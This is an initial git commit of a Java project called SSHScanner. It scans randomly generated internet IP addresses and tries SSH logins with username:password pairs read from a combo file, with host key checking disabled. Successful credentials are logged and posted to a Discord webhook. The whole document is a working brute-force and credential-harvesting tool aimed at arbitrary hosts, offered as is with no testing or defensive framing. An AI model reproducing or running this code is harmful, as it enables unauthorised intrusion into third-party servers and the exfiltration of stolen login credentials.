Initial commit

Author: thisisnzed

pom.xml

@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <groupId>com.thisisnzed</groupId>
+    <artifactId>SSHScanner</artifactId>
+    <version>1.0-SNAPSHOT</version>
+    <properties>
+        <maven.compiler.source>8</maven.compiler.source>
+        <maven.compiler.target>8</maven.compiler.target>
+    </properties>
+    <dependencies>
+        <dependency>
+            <groupId>org.projectlombok</groupId>
+            <artifactId>lombok</artifactId>
+            <version>1.18.24</version>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.jcraft</groupId>
+            <artifactId>jsch</artifactId>
+            <version>0.1.55</version>
+        </dependency>
+    </dependencies>
+</project>

src/main/java/com/thisisnzed/sshscanner/SSHScanner.java

@@ -0,0 +1,50 @@
+package com.thisisnzed.sshscanner;
+
+import com.jcraft.jsch.JSch;
+import com.thisisnzed.sshscanner.arguments.ArgumentParser;
+import com.thisisnzed.sshscanner.arguments.Configuration;
+import com.thisisnzed.sshscanner.combo.Combo;
+import com.thisisnzed.sshscanner.session.Session;
+
+import java.util.Random;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.stream.IntStream;
+
+public class SSHScanner {
+
+    private final Configuration configuration;
+    private final ArgumentParser argumentParser;
+    private final Session session;
+    private final Random random;
+    private final ConcurrentHashMap<String, Boolean> hosts;
+    private final Combo combo;
+
+    public SSHScanner(final String[] args) {
+        this.configuration = new Configuration();
+        this.argumentParser = new ArgumentParser(this.configuration, args);
+        final String path = this.getClass().getProtectionDomain().getCodeSource().getLocation().getFile().substring(1);
+        this.configuration.set("combo", path.replace(path.substring(path.lastIndexOf('/') + 1), "").replace("/", "\\") + "combo.txt");
+        this.configuration.set("threads", 1);
+        this.configuration.set("port", 22);
+        this.configuration.set("timeout", 6000);
+        this.configuration.set("webhook", "");
+        this.configuration.set("verbose", true);
+
+        this.argumentParser.loadArguments();
+
+        this.random = new Random();
+        this.combo = new Combo(this.configuration);
+        this.hosts = new ConcurrentHashMap<>();
+        this.session = new Session(combo, this.configuration, new JSch(), new java.util.Properties());
+    }
+
+    public void start() {
+        IntStream.range(0, Integer.parseInt(String.valueOf(this.configuration.get("threads")))).forEach(i -> new Thread(() -> {
+            while (true) {
+                final String host = (random.nextInt(254) + 1) + "." + (random.nextInt(254) + 1) + "." + (random.nextInt(254) + 1) + "." + (random.nextInt(254) + 1);
+                if (!hosts.containsKey(host))
+                    this.combo.getCombo().stream().filter(combo -> hosts.getOrDefault(host, true)).forEach(combo -> hosts.put(host, session.connect(host, combo[0], combo[1])));
+            }
+        }).start());
+    }
+}

src/main/java/com/thisisnzed/sshscanner/arguments/ArgumentParser.java

@@ -0,0 +1,25 @@
+package com.thisisnzed.sshscanner.arguments;
+
+import java.util.Arrays;
+import java.util.concurrent.atomic.AtomicReference;
+
+public class ArgumentParser {
+
+    private final Configuration configuration;
+    private final String[] args;
+
+    public ArgumentParser(final Configuration configuration, final String[] args) {
+        this.configuration = configuration;
+        this.args = args;
+    }
+
+    public void loadArguments() {
+        final AtomicReference<String> latest = new AtomicReference<>("unknown");
+        Arrays.stream(this.args).forEach(argument -> {
+            if (!latest.get().equals("unknown")) {
+                this.configuration.set(latest.toString().replaceFirst("-", ""), argument);
+                latest.set("unknown");
+            } else latest.set(argument);
+        });
+    }
+}

src/main/java/com/thisisnzed/sshscanner/arguments/Configuration.java

@@ -0,0 +1,20 @@
+package com.thisisnzed.sshscanner.arguments;
+
+import java.util.concurrent.ConcurrentHashMap;
+
+public class Configuration {
+
+    private final ConcurrentHashMap<String, Object> args;
+
+    public Configuration() {
+        this.args = new ConcurrentHashMap<>();
+    }
+
+    public void set(final String key, final Object value) {
+        this.args.put(key, value);
+    }
+
+    public Object get(final String key) {
+        return this.args.get(key);
+    }
+}

src/main/java/com/thisisnzed/sshscanner/combo/Combo.java

@@ -0,0 +1,32 @@
+package com.thisisnzed.sshscanner.combo;
+
+import com.thisisnzed.sshscanner.arguments.Configuration;
+import com.thisisnzed.sshscanner.launch.Launch;
+import com.thisisnzed.sshscanner.utils.Logger;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Scanner;
+
+public class Combo {
+
+    private final ArrayList<String[]> combo;
+
+    public Combo(final Configuration configuration) {
+        this.combo = new ArrayList<>();
+        try {
+            final File file = new File((String)configuration.get("combo"));
+            if(!file.exists()) file.createNewFile();
+            final Scanner scanner = new Scanner(file);
+            while (scanner.hasNextLine())
+                this.combo.add(scanner.nextLine().split(":"));
+        } catch (final Exception exception) {
+            exception.printStackTrace();
+        }
+        Logger.log("Loaded " + this.combo.size() + " combinations !");
+    }
+
+    public ArrayList<String[]> getCombo() {
+        return this.combo;
+    }
+}

src/main/java/com/thisisnzed/sshscanner/launch/Launch.java

@@ -0,0 +1,10 @@
+package com.thisisnzed.sshscanner.launch;
+
+import com.thisisnzed.sshscanner.SSHScanner;
+
+public class Launch {
+
+    public static void main(final String[] args) {
+        new SSHScanner(args).start();
+    }
+}

src/main/java/com/thisisnzed/sshscanner/session/Session.java

@@ -0,0 +1,46 @@
+package com.thisisnzed.sshscanner.session;
+
+import com.jcraft.jsch.JSch;
+import com.thisisnzed.sshscanner.arguments.Configuration;
+import com.thisisnzed.sshscanner.combo.Combo;
+import com.thisisnzed.sshscanner.utils.DiscordWebhook;
+import com.thisisnzed.sshscanner.utils.Logger;
+
+import java.util.Properties;
+
+public class Session {
+
+    private final Configuration configuration;
+    private final JSch jSch;
+    private final Properties properties;
+    private final String falsePositive;
+
+    public Session(final Combo combo, final Configuration configuration, final JSch jSch, final Properties properties) {
+        this.falsePositive = combo.getCombo().get(0)[0] + ":" + combo.getCombo().get(0)[1];
+        this.configuration = configuration;
+        this.jSch = jSch;
+        this.properties = properties;
+        this.properties.put("StrictHostKeyChecking", "no");
+    }
+
+    public boolean connect(final String host, final String username, final String password) {
+        final int port = Integer.parseInt(String.valueOf(this.configuration.get("port")));
+        try {
+            final com.jcraft.jsch.Session session = this.jSch.getSession(username, host, port);
+            session.setPassword(password);
+            session.setConfig(this.properties);
+            session.setTimeout(Integer.parseInt(String.valueOf(this.configuration.get("timeout"))));
+            session.connect();
+            if (!(username + ":" + password).equals(this.falsePositive)) {
+                Logger.log("[" + Thread.currentThread().getId() + "] " + username + "@" + host + ":" + port + " (password: " + password + ") | Connected");
+                new DiscordWebhook((String) this.configuration.get("webhook")).sendWebhook(host, username, password, port);
+            }
+            session.disconnect();
+            return false;
+        } catch (final Exception exception) {
+            if (Boolean.parseBoolean(String.valueOf(this.configuration.get("verbose"))))
+                Logger.log("[" + Thread.currentThread().getId() + "] " + username + "@" + host + ":" + port + " (password: " + password + ") | " + exception.getMessage());
+            return exception.getMessage().toLowerCase().contains("auth fail");
+        }
+    }
+}